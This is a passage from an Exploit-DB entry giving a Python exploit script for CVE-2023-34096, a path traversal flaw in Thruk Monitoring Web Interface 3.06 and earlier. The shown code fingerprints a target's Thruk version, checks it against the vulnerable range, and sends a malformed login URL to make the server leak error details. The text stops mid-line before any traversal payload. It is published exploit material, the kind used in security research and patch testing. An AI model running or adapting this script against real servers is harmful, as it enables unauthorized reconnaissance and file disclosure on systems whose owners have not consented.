Exploit-DB #51509
Description: Thruk Monitoring Web Interface 3.06 - Path Traversal
Type: webapps
Platform: perl
Date: 2023-06-09
Author: Galoget Latorre

Exploit:
# Exploit Title: Thruk Monitoring Web Interface 3.06 - Path Traversal
# Date: 08-Jun-2023
# Exploit Author: Galoget Latorre (@galoget)
# CVE: CVE-2023-34096 (Galoget Latorre)
# Vendor Homepage: https://thruk.org/
# Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip
# Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096
# CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html
# GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h
# Affected Versions: <= 3.06
# Language: Python 3.x
# Tested on:
#  - Ubuntu 22.04.5 LTS 64-bit
#  - Debian GNU/Linux 10 (buster) 64-bit
#  - Kali GNU/Linux 2023.1 64-bit
#  - CentOS GNU/Linux 8.5.2111 64-bit


#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import warnings
import requests
from bs4 import BeautifulSoup
from termcolor import cprint


# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py http://127.0.0.1/thruk/


# Disable warnings
warnings.filterwarnings('ignore')


# Set headers
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
}


def banner():
    """
    Function to print the banner
    """

    banner_text = """
 __     __     __   __  __  __      __        __   __   __  
/  \\  /|_  __   _) /  \\  _)  _) __   _) |__| /  \\ (__\\ /__  
\\__ \\/ |__     /__ \\__/ /__ __)     __)    | \\__/  __/ \\__) 

                                                               
Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06
Exploit & CVE Author: Galoget Latorre (@galoget)
LinkedIn: https://www.linkedin.com/in/galoget
"""
    print(banner_text)


def usage_instructions():
    """
    Function that validates the number of arguments.
    The application MUST have 2 arguments:
    - [0]: Name of the script
    - [1]: Target URL (Thruk Base URL)
    """
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target.site>")
        print("Example: python3 exploit.py http://127.0.0.1/thruk/")
        sys.exit(0)


def check_vulnerability(thruk_version):
    """
    Function to check if the recovered version is vulnerable to CVE-2023-34096.
    Prints additional information about the vulnerability.
    """
    try:
        if float(thruk_version[1:5]) <= 3.06:
            if float(thruk_version[4:].replace("-", ".")) < 6.2:
                cprint("[+] ", "green", attrs=['bold'], end = "")
                print("This version of Thruk is ", end = "")
                cprint("VULNERABLE ", "red", attrs=['bold'], end = "")
                print("to CVE-2023-34096!")
                print(" |  CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html")
                print(" |  GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h")
                print(" |  CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34096")
                print(" |  CVE NVD NIST: https://nvd.nist.gov/vuln/detail/CVE-2023-34096")
                print(" |  Thruk Changelog: https://www.thruk.org/changelog.html")
                print(" |  Fixed version: 3.06-2+")
                print("")
                return True
            else:
                cprint("[-] ", "red", attrs=['bold'], end = "")
                print("It looks like this version of Thruk is NOT VULNERABLE to CVE-2023-34096.")
                return False
    except:
        cprint("[-] ", "red", attrs=['bold'], end = "")
        print("There was an error parsing Thruk's version.\n")
        return False


def get_thruk_version():
    """
    Function to get Thruk's version via web scraping.
    It also verifies the title of the website to check if the target is a Thruk instance.
    """
    response = requests.get(target, headers=headers, allow_redirects=True, verify=False, timeout=10)
    html_soup = BeautifulSoup(response.text, "html.parser")

    if "<title>Thruk Monitoring Webinterface</title>" not in response.text:
        cprint("[-] ", "red", attrs=['bold'], end = "")
        print("Verify if the URL is correct and points to a Thruk Monitoring Web Interface.")
        sys.exit(-1)
    else:
        # Extract version anchor tag
        version_link = html_soup.find_all("a", {"class": "link text-sm"})

        if len(version_link) == 1 and version_link[0].has_attr('href'):
            thruk_version = version_link[0].text.strip()
            cprint("[+] ", "green", attrs=['bold'], end = "")
            print(f"Detected Thruk Version (Public Banner): {thruk_version}\n")
            return thruk_version
        else:
            cprint("[-] ", "red", attrs=['bold'], end = "")
            print("There was an error retrieving Thruk's version.")
            sys.exit(-1)


def get_error_info():
    """
    Function to cause an error in the target Thruk instance and collect additional information via web scraping.
    """
    # URL that will cause an error
    error_url = target + "//cgi-bin/login.cgi"

    # Retrieve Any initial Cookies
    error_response = requests.get(error_url,
                                  headers=headers,
                                  allow_redirects=False,
                                  verify=False,
                                  timeout=10)

    cprint("[*] ", "blue", attrs=['bold'], end = "")
    print("Trying to retrieve additional information...\n")
    try:
        # Search for the error tag
        html_soup = BeautifulSoup(error_response.text, "html.parser")
        error_report = html_soup.find_all("pre", {"class": "text-left mt-5"})[0].text
        if len(error_report) > 0:
            # Print Error Info
            error_report = error_report[error_rep